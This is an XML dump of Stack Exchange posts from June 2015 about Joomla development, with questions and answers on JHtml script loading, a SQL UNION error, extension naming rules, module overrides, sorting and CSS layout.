  <row Id="10497" PostTypeId="2" ParentId="10493" CreationDate="2015-06-19T04:44:26.433" Score="-1" Body="&lt;p&gt;&lt;strong&gt;Same like this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    JHtml::_(&quot;script&quot;, &quot;path/to/script.js&quot;);&#xA;    JHTML::script('sample.js', 'templates/custom/js/');&#xA;&#xA;    JHtml::_(&quot;stylesheet&quot;, &quot;path/to/stylesheet.css&quot;);&#xA;    JHtml::stylesheet('com_search/search.css', array(), true);&#xA;&#xA;    JHtml::_(&quot;jquery.framework&quot;);&#xA;    JHtml::jquery('jquery.ui');&#xA;    JHtml::jquery('jquery.ui', array('sortable'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="5404" LastEditDate="2015-06-19T09:17:36.017" LastActivityDate="2015-06-19T09:17:36.017" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="10502" PostTypeId="2" ParentId="10493" CreationDate="2015-06-19T15:44:26.170" Score="10" Body="&lt;p&gt;Most of the time&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::_(&quot;script&quot;, &quot;path/to/script.js&quot;);&#xA;JHtml::_(&quot;stylesheet&quot;, &quot;path/to/stylesheet.css&quot;);&#xA;JHtml::_(&quot;jquery.framework&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;will call&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHtml::Script(&quot;path/to/script.js&quot;);&#xA;JHtml::Stylesheet(&quot;path/to/stylesheet.css&quot;);&#xA;JHtmlJquery::framework();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However there is a small difference between the two calls. The first one allows system plugins to override the core classes.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Example&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Let's assume you don't like the JQuery version shipped with Joomla for some funny reason. You could now create a system plugin and in the &lt;code&gt;onAfterInitialise&lt;/code&gt; event you just register a different method for the &lt;code&gt;jquery.framework&lt;/code&gt; call. You can do that using &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JHtml.html#method_register&quot;&gt;&lt;code&gt;JHtml::register('jquery.framework', 'ClassToLoad::MethodToCall')&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael Babker has written an &lt;a href=&quot;https://github.com/mbabker/bs3-demo/&quot;&gt;example plugin&lt;/a&gt; which would allow to change the loaded Bootstrap version. That may help to figure out how it works.&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-19T15:44:26.170" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10503" PostTypeId="1" CreationDate="2015-06-20T05:20:24.253" Score="2" ViewCount="297" Body="&lt;p&gt;I am having trouble using the union functions in Joomla. This is the SQL I need:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;SELECT &#xA; * &#xA;    FROM&#xA;  (SELECT &#xA;    o.title AS org_name,&#xA;    u1.name AS username,&#xA;    'president' AS `type`&#xA;  FROM&#xA;    org o &#xA;    LEFT JOIN users u1 &#xA;      ON u1.`id` = o.`president` &#xA;  UNION&#xA;  ALL &#xA;  SELECT &#xA;    o.title AS org_name,&#xA;    u1.name AS username,&#xA;    'secretary' AS `type`&#xA;  FROM&#xA;    org o &#xA;    LEFT JOIN users u1 &#xA;      ON u1.`id` = o.`secretary` &#xA;  UNION&#xA;  ALL &#xA;  SELECT &#xA;    o.title AS org_name,&#xA;    u1.name AS username,&#xA;    'treasurer' AS `type`&#xA;  FROM&#xA;    org o &#xA;    LEFT JOIN users u1 &#xA;      ON u1.`id` = o.`treasurer`) AS a &#xA;ORDER BY a.org_name ;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is my Joomla code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $q2 = $db-&amp;gt;getQuery(true);&#xA;    $q1 = $db-&amp;gt;getQuery(true);&#xA;    $query  = $db-&amp;gt;getQuery(true);&#xA;&#xA;    $q2&#xA;    -&amp;gt;select('o.title AS show_name, u1.name AS name,' . $db-&amp;gt;quoteName('president') . 'as' . $db-&amp;gt;quoteName('type'))&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__agshows_shows', 'o'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__users', 'u1') . ' ON (' . $db-&amp;gt;quoteName('u1.id') . ' = ' . $db-&amp;gt;quoteName('o.president') . ')')      &#xA;    ;&#xA;    $q1&#xA;    -&amp;gt;select('o.title AS show_name, u1.name AS name')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__agshows_shows', 'o'))&#xA;    -&amp;gt;join('LEFT', $db-&amp;gt;quoteName('#__users', 'u1') . ' ON (' . $db-&amp;gt;quoteName('u1.id') . ' = ' . $db-&amp;gt;quoteName('o.secretary') . ')')      &#xA;    ;&#xA;    $query&#xA;    -&amp;gt;select('*')&#xA;    -&amp;gt;from($db-&amp;gt;quoteName('#__agshows_shows', 'a'))     &#xA;    -&amp;gt;union($q1)&#xA;    -&amp;gt;union($q2)&#xA;    -&amp;gt;order($db-&amp;gt;quoteName('a.title') . ' ASC')&#xA;    ;&#xA;$mailshot = $db-&amp;gt;setQuery($query)-&amp;gt;loadObjectList();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I keep getting this SQL Error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;1221 Incorrect usage of UNION and ORDER BY SQL=SELECT * FROM &lt;code&gt;ruq1h_agshows_shows&lt;/code&gt; AS &lt;code&gt;a&lt;/code&gt; ORDER BY &lt;code&gt;a&lt;/code&gt;.&lt;code&gt;title&lt;/code&gt; ASC UNION ( SELECT o.title AS show_name, u1.name AS name FROM &lt;code&gt;ruq1h_agshows_shows&lt;/code&gt; AS &lt;code&gt;o&lt;/code&gt; LEFT JOIN &lt;code&gt;ruq1h_users&lt;/code&gt; AS &lt;code&gt;u1&lt;/code&gt; ON (&lt;code&gt;u1&lt;/code&gt;.&lt;code&gt;id&lt;/code&gt; = &lt;code&gt;o&lt;/code&gt;.&lt;code&gt;secretary&lt;/code&gt;)) UNION ( SELECT o.title AS show_name, u1.name AS name,&lt;code&gt;president&lt;/code&gt;as&lt;code&gt;type&lt;/code&gt; FROM &lt;code&gt;ruq1h_agshows_shows&lt;/code&gt; AS &lt;code&gt;o&lt;/code&gt; LEFT JOIN &lt;code&gt;ruq1h_users&lt;/code&gt; AS &lt;code&gt;u1&lt;/code&gt; ON (&lt;code&gt;u1&lt;/code&gt;.&lt;code&gt;id&lt;/code&gt; = &lt;code&gt;o&lt;/code&gt;.&lt;code&gt;president&lt;/code&gt;))&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="3634" LastEditorUserId="12352" LastEditDate="2019-10-18T08:01:07.010" LastActivityDate="2019-10-18T08:01:07.010" Title="Joomla 3.3.6 Union SQL Issue" Tags="|mysql|joomla-3.3.x|pivot|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="10504" PostTypeId="2" ParentId="10503" CreationDate="2015-06-20T12:15:15.547" Score="2" Body="&lt;p&gt;To debug the issue: $query is an object that generates the SQL statement to be executed. Then, you can echo $query-&gt;__toString() and compare the outputs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a complex case, it may be necessary to generate sub-queries to create a final big query.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-06-20T12:15:15.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10506" PostTypeId="1" CreationDate="2015-06-22T02:05:13.387" Score="6" ViewCount="55" Body="&lt;p&gt;The Joomla documentation states clearly that it's not permitted to use the word &quot;Joomla&quot; as part of an extension name, unless it's called &quot;MyExtension &lt;em&gt;for Joomla!&lt;/em&gt;&quot; (except with a license):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The usage of 'Joomla' in extension names or domains listed at JED&#xA;  requires a license by OSM. Extension names must be titled 'for&#xA;  Joomla'. ie: 'MyExtension for Joomla' is permitted. 'Joomla&#xA;  MyExtension' is not permitted. Use of the Joomla version is not&#xA;  permitted. ie: 'MyExtension for Joomla 3.0'&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;(&lt;a href=&quot;https://docs.joomla.org/JED_Entries_Trademark_Checklist#Use_of_Joomla_in_Extension_Names&quot; rel=&quot;noreferrer&quot;&gt;JED Entries Trademark Checklist&lt;/a&gt;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But &lt;a href=&quot;https://docs.joomla.org/JED_Entries_Trademark_Checklist#List_B1_-_Joomla_Trademark_Checklist&quot; rel=&quot;noreferrer&quot;&gt;List B1&lt;/a&gt;, item #4 on the same page says:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Extensions that use &quot;Joomla&quot; or a derivative of Joomla in the&#xA;  extension name?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Only if licensed by OSM.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;What does &lt;strong&gt;a derivative of Joomla&lt;/strong&gt; mean? There are lots of extensions called &lt;strong&gt;Joom&lt;/strong&gt; &lt;em&gt;Myextension&lt;/em&gt;, isn't that a derivative of Joomla?&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2018-01-07T09:52:01.997" Title="Using &quot;Joom&quot; as part of extension name" Tags="|joomla-3.x|joomla-2.5|extensions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10508" PostTypeId="2" ParentId="10506" CreationDate="2015-06-22T08:11:21.087" Score="3" Body="&lt;p&gt;A &lt;strong&gt;derivative&lt;/strong&gt; of Joomla, simply means &quot;&lt;em&gt;based&lt;/em&gt;&quot; on the word &quot;Joomla&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll give you a quick example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My website is called &quot;JoomJunk&quot; and the alias is &lt;strong&gt;JJ&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We use &lt;strong&gt;JJ&lt;/strong&gt; at the beginning of all extension names, so &lt;strong&gt;JJ XXX&lt;/strong&gt; is technically &lt;strong&gt;JoomJunk XXX&lt;/strong&gt;, therefore it's a derivative of Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wish to use a derivative, you simply need to contact OSM to get permission for the name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples of Joomla derivatives could be:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joom&lt;/strong&gt; Name&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Joo&lt;/strong&gt; Name&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Jom&lt;/strong&gt; Name&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;J&lt;/strong&gt; Name (like &lt;em&gt;JDownloads&lt;/em&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastEditorUserId="168" LastEditDate="2018-01-07T09:52:01.997" LastActivityDate="2018-01-07T09:52:01.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10509" PostTypeId="1" AcceptedAnswerId="10551" CreationDate="2015-06-22T09:50:22.863" Score="0" ViewCount="297" Body="&lt;p&gt;I have a Problem with the carousel module from bootstrapjoomla.com&#xA;Unfortunately the module doesn't support alternative layouts.&#xA;But I need to have two carousel on my homepage. Therefore I've to create an override for the carousel where I change the carousel-id.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to create an html-override depending on the moduleclass suffix but it doesn't work.&#xA;The moduleclass suffix of my second carousel is &quot; Carousel-carousel2&quot;.&#xA;The code I inserted in the default.php in the override:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;/* Layout anhand einer CSS-Klasse im Modul umleiten */&#xA;&#xA;if(preg_match('/\Carousel-([A-Za-z]+)/', $module-&amp;gt;moduleclass_sfx , $matches)){&#xA; if(!empty($matches[1])){&#xA;  $this-&amp;gt;setLayout($matches[1]);#ist Layout carousel2&#xA;   echo $this-&amp;gt;loadTemplate('default'); #carousel2_default.php wird aufgerufen&#xA;  }&#xA;}else{ &#xA;&#xA;... &#xA;&#xA;} ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;carousel2_default.php is the file with my override.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problem is, that the second carousel doesn't use the override but uses the default.php.&lt;/p&gt;&#xA;" OwnerUserId="5456" LastEditorUserId="126" LastEditDate="2015-08-28T06:55:02.847" LastActivityDate="2015-08-28T06:55:02.847" Title="Alternative layout with moduleclass_suffix" Tags="|joomla-3.x|module|overrides|module-params|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10510" PostTypeId="1" CreationDate="2015-06-22T09:52:06.893" Score="1" ViewCount="130" Body="&lt;p&gt;After upgrading from Joomla 3.3 to 3.4.1 -by extracting the Joomla update package- I was checking that all my menu tabs are working correctly. However I am facing two issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I found that two tabs give me a &lt;code&gt;404 - Category not found&lt;/code&gt; error. However , when I turn the SEF URL option off , everything works fine. I need them on though.&lt;/li&gt;&#xA;&lt;li&gt;The language switcher module lists the languages as German | English even when German is selected though it should display Deutsch | Englisch.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any help with that ?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5429" LastActivityDate="2015-08-21T15:16:54.200" Title="Errors after upgrading to Joomla 3.4.1" Tags="|joomla-3.x|upgrade|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10511" PostTypeId="2" ParentId="10058" CreationDate="2015-06-22T09:54:36.073" Score="0" Body="&lt;p&gt;Try this&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Goto backend -&amp;gt; Article manager -&amp;gt; Select and edit the existing article -&amp;gt; Publishing -&amp;gt; Here you can see the modified date in admin side.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to see the article manager in frontend side&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Goto backend -&amp;gt; Article manager -&amp;gt; Select and edit the existing article -&amp;gt; Options -&amp;gt; Here you can show or hide the modify date.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-22T09:54:36.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10512" PostTypeId="2" ParentId="9598" CreationDate="2015-06-22T10:19:51.873" Score="0" Body="&lt;p&gt;&lt;strong&gt;Try this&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Goto backend -&gt; Extension -&gt; Language manager -&gt; Overrides -&gt; New -&gt;One searh box is available here you can paste the message &quot;COM_COURSELIST_N_ITEMS_DELETED&quot;&#xA;and related language would be displayed in text field here you can override the language.&lt;/p&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-22T10:19:51.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10513" PostTypeId="1" CreationDate="2015-06-22T11:50:18.560" Score="2" ViewCount="828" Body="&lt;p&gt;I have custom component and in one of views column sorting does not work correctly. It's very weird for me. Always sort in ASC direction...&#xA;I'll introduce what I have.&#xA;Model &lt;code&gt;populateState()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null) {&#xA;    // Load the filter state.&#xA;    $filters = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.filters', 'filters', array(), 'ARRAY');&#xA;    $this-&amp;gt;setState('filters', $filters);&#xA;&#xA;    $conditions = $this-&amp;gt;getUserStateFromRequest($this-&amp;gt;context . '.conditions', 'conditions', array(), 'ARRAY');&#xA;    $this-&amp;gt;setState('conditions', $conditions);&#xA;&#xA;    // Load the parameters.&#xA;    $params = JComponentHelper::getParams('com_ritcatalogue');&#xA;    $this-&amp;gt;setState('params', $params);&#xA;&#xA;    // List state information.&#xA;    parent::populateState('n.node_id', 'desc');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;as you can see by default it's sorting by column &lt;code&gt;n.node_id&lt;/code&gt; in &lt;code&gt;DESC&lt;/code&gt; direction. &lt;code&gt;getListQuery()&lt;/code&gt; contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Add the list ordering clause.&#xA;$orderCol = $this-&amp;gt;state-&amp;gt;get('list.ordering', 'n.node_id');&#xA;$orderDirn = $this-&amp;gt;state-&amp;gt;get('list.direction', 'DESC');&#xA;$query-&amp;gt;order($db-&amp;gt;escape($orderCol . ' ' . $orderDirn));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;also in view&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$listDirn = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.ordering'));&#xA;$listOrder = $this-&amp;gt;escape($this-&amp;gt;state-&amp;gt;get('list.direction'));&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order&quot; value=&quot;&amp;lt;?php echo $listOrder; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;filter_order_Dir&quot; value=&quot;&amp;lt;?php echo $listDirn; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1592" LastActivityDate="2015-06-23T07:29:01.940" Title="Backend column sorting does not work correctly" Tags="|joomla-2.5|sorting|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10514" PostTypeId="2" ParentId="10513" CreationDate="2015-06-22T12:12:06.257" Score="0" Body="&lt;p&gt;&lt;strong&gt;Try this:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null) {&#xA;parent::populateState('n.node_id', 'desc');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;getlistquery:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$orderCol = $this-&amp;gt;state-&amp;gt;get('list.ordering', 'n.node_id');&#xA;$orderDirn = $this-&amp;gt;state-&amp;gt;get('list.direction', 'desc');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;xml file:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;      name=&quot;fullordering&quot;&#xA;      type=&quot;list&quot;&#xA;      label=&quot;Give label name&quot;&#xA;      description=&quot;Give description name&quot;&#xA;      onchange=&quot;this.form.submit();&quot;&#xA;      default=&quot;n.node_id DESC&quot;&#xA;   &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastEditorUserId="5404" LastEditDate="2015-06-23T07:07:57.283" LastActivityDate="2015-06-23T07:07:57.283" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="10515" PostTypeId="2" ParentId="10510" CreationDate="2015-06-22T14:34:13.280" Score="2" Body="&lt;p&gt;I wouldn't know the answer to the first question, even though I'm facing similar problem with migrated content from J1.5, but for the second question there is known J3.4 bug, which you can find on &lt;a href=&quot;https://docs.joomla.org/J3.x:Infinite_error_loop_on_multilanguage_sites&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/J3.x:Infinite_error_loop_on_multilanguage_sites&lt;/a&gt; which in general needs you to edit and save every content language in Language Manager and ensure it's access level is set to Public.&lt;/p&gt;&#xA;" OwnerUserId="3650" LastEditorUserId="3650" LastEditDate="2015-06-22T14:39:45.417" LastActivityDate="2015-06-22T14:39:45.417" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10516" PostTypeId="1" AcceptedAnswerId="10517" CreationDate="2015-06-22T15:45:19.743" Score="1" ViewCount="285" Body="&lt;p&gt;In module development, I'm using a field for menu item (from these docs &lt;a href=&quot;https://docs.joomla.org/Menuitem_form_field_type&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/Menuitem_form_field_type&lt;/a&gt;). I can work out to to show the menu item in the XML:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field name=&quot;menuitem1&quot; type=&quot;menuitem&quot; default=&quot;45&quot; label=&quot;Select a menu item&quot; description=&quot;Select a menu item&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can then echo this for the frontend:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;&amp;lt;?php echo $params-&amp;gt;get('menuitem1');?&amp;gt;&quot; &amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this only shows the ID of that menu item, how can I set it to be the actual URI for the menu item selected?&lt;/p&gt;&#xA;" OwnerUserId="294" LastActivityDate="2015-06-22T16:02:29.827" Title="'Menu Item' in Module's XML file" Tags="|joomla-3.4|xml|module-params|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10517" PostTypeId="2" ParentId="10516" CreationDate="2015-06-22T16:02:29.827" Score="1" Body="&lt;p&gt;You can get the URL using the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemid = $params-&amp;gt;get('menuitem1', 0);&#xA;&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$link = $menu-&amp;gt;getItem($itemid)-&amp;gt;link;&#xA;&#xA;echo JRoute::_($link);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$link&lt;/code&gt; will provide you with a non-SEF URL, then as shown above, you can use &lt;code&gt;JRoute&lt;/code&gt; to convert it to a SEF URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-06-22T16:02:29.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10518" PostTypeId="1" AcceptedAnswerId="10530" CreationDate="2015-06-22T19:08:36.020" Score="0" ViewCount="230" Body="&lt;p&gt;is there an API, or i need to insert the records directly in the DB... not sure how to do that&lt;/p&gt;&#xA;" OwnerUserId="5457" LastActivityDate="2015-06-23T07:41:28.213" Title="How to create 2k item (content) programmatically?" Tags="|joomla-3.x|" AnswerCount="2" CommentCount="2" ClosedDate="2015-06-23T22:51:32.193" ContentLicense="CC BY-SA 3.0" />
  <row Id="10519" PostTypeId="2" ParentId="10518" CreationDate="2015-06-22T20:03:08.957" Score="0" Body="&lt;p&gt;There is not (yet) a direct API (eg webservice or similar). That's something which may be added for Joomla 3.6, but it's still far away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You would have to write your own code and use the model or table from com_content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on why you need it and how often, there may be better options than writing own code :)&lt;/p&gt;&#xA;" OwnerUserId="52" LastActivityDate="2015-06-22T20:03:08.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10520" PostTypeId="1" AcceptedAnswerId="10521" CreationDate="2015-06-22T21:36:30.997" Score="1" ViewCount="346" Body="&lt;p&gt;So I am redesigning a clients joomla site. The orginal designer had coded the site. He has the navigation's z-index set to relative and the z-index to 100. The image background I had created for the navigation system is in relative position and has a z-index of 1. But when I position the nav over the image it hides behind. I don't think the index for the navigation system is being recognized at all. How could I possibly fix this? The navigation is on the top right hand corner, btw. Heres the site: &lt;a href=&quot;http://www.sheasconsignanddesign.com/&quot; rel=&quot;nofollow&quot;&gt;www.sheasconsignanddesign.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="4131" LastActivityDate="2015-06-22T22:30:34.217" Title="How can I get the z-index to work on having navigation stack on top of image?" Tags="|css|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10521" PostTypeId="2" ParentId="10520" CreationDate="2015-06-22T22:30:34.217" Score="1" Body="&lt;p&gt;I assume this is more or less what you're trying to achieve:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lOBwj.jpg&quot; alt=&quot;Main menu layout&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a couple of issues with your approach: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;The current main menu is located in a completely different container (&lt;code&gt;.artisteerheader&lt;/code&gt;) than your logo and menu background image (&lt;code&gt;.artisteerdeco&lt;/code&gt;). Event though it's possible to move the main menu outside it's container (and above the other), don't do it. See if your template has another module position, the same as the logo/menu background image uses. You can find available module positions for Artisteer templates here: &lt;a href=&quot;http://www.artisteer.com/?p=help_joomla#joomla4&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.artisteer.com/?p=help_joomla#joomla4&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Using an image with fixed menu backgrounds is not a good idea. It will almost certainly look wrong in certain browsers (just look at the image above, the text is not perfectly aligned for each button). If you need the exact same layout of the buttons as your image, use a .png image behind each &lt;code&gt;li&lt;/code&gt; element.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Another (better) option is to use CSS to create the buttons. Try using the following code (and use a simple black background for your main menu bar):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; ul.menu li {&#xA;  background-color: #CAC6AF;&#xA;  width: 124px;&#xA;  padding: 3px 3px;&#xA;  margin: auto 20px;&#xA;  text-align: center;&#xA;  border-radius: 23px;&#xA;  border: 7px solid white;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You'll get something like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Move the main menu module to a different position, and play around with CSS (margins and paddings) to get it correctly aligned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ig7E5.jpg&quot; alt=&quot;Main menu CSS&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps a little :)  &lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-06-22T22:30:34.217" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="10523" PostTypeId="1" CreationDate="2015-06-23T03:30:38.093" Score="0" ViewCount="217" Body="&lt;p&gt;I need to show a list of only the items from K2 articles that have the media (video) field filled.&#xA;The K2 module permit this but has no pagination and I need it.&#xA;Any idea or extensions to suggest?&#xA;I would like to avoid hacking the code since I would like to keep it ready to receive official updates, but a clean override can be considered if it is the only solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks!&lt;/p&gt;&#xA;" OwnerUserId="5459" LastActivityDate="2015-07-24T10:30:45.467" Title="List only K2 items that have a video" Tags="|k2|content-filtering|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="10524" PostTypeId="1" AcceptedAnswerId="10552" CreationDate="2015-06-23T04:00:31.447" Score="1" ViewCount="210" Body="&lt;p&gt;In the latest news module we can choose what category to be included, but we need to select all (sub) categories even when the parent category is selected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how to display all items inside the parent category and its subcategories? I'd like to have this option so I don't have to check the module settings everytime a new sub category added. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Template override or core modification are welcome. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2295" LastActivityDate="2015-06-24T07:32:25.480" Title="Mod latest news to include all subcategories item" Tags="|module|joomla-3.4|template-override|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="10525" PostTypeId="2" ParentId="3808" CreationDate="2015-06-23T04:54:01.420" Score="1" Body="&lt;p&gt;&lt;strong&gt;Try this also&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;protected function populateState($ordering = null, $direction = null)&#xA;    {&#xA;    // Load the list state.&#xA;    $this-&amp;gt;setState('list.start', 0);&#xA;    $this-&amp;gt;setState('list.limit', 10);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5404" LastActivityDate="2015-06-23T04:54:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
